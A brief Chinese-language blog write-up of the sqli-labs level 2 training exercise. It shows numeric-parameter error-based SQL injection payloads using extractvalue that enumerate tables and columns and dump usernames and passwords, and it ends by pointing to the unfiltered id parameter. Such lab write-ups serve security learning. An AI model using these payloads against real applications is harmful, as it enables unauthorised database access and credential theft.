sqli-labs level 2

来到第第二关

 

 首先在后面添加一个 单引号看下报错信息

 

 发现这里多多了一个引号  尝试去掉单引号看下回显结果   :    and 1=2

 

 可以发现这里不需要添加单引号进行闭合,可以直接控制,所以接下来采用报错注入方式进行”脱裤“

?id=-1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+

 

 下面获取字段名

-1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())))--+

 

 获取字段内容

?id=-1 and extractvalue(1,concat(0x7e,(select group_concat(id,0x3a,username,0x7e,password)from users)))--+

 

 下两个字段内容

/?id=-1 and extractvalue(1,concat(0x7e,(select group_concat(id,0x3a,username,0x7e,password) from users where username not in('Dumb','Angelina'))))--+

 

 同理可继续爆出其他数据,这就不继续测试了,看下产生漏洞的地方   id  

 

 可以很明显的看到id得到的值没有做限制就直接进去到数据库中进行查询语句。

-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ending

posted @ 2020-02-22 21:29  MTcx  阅读(193)  评论(0编辑  收藏  举报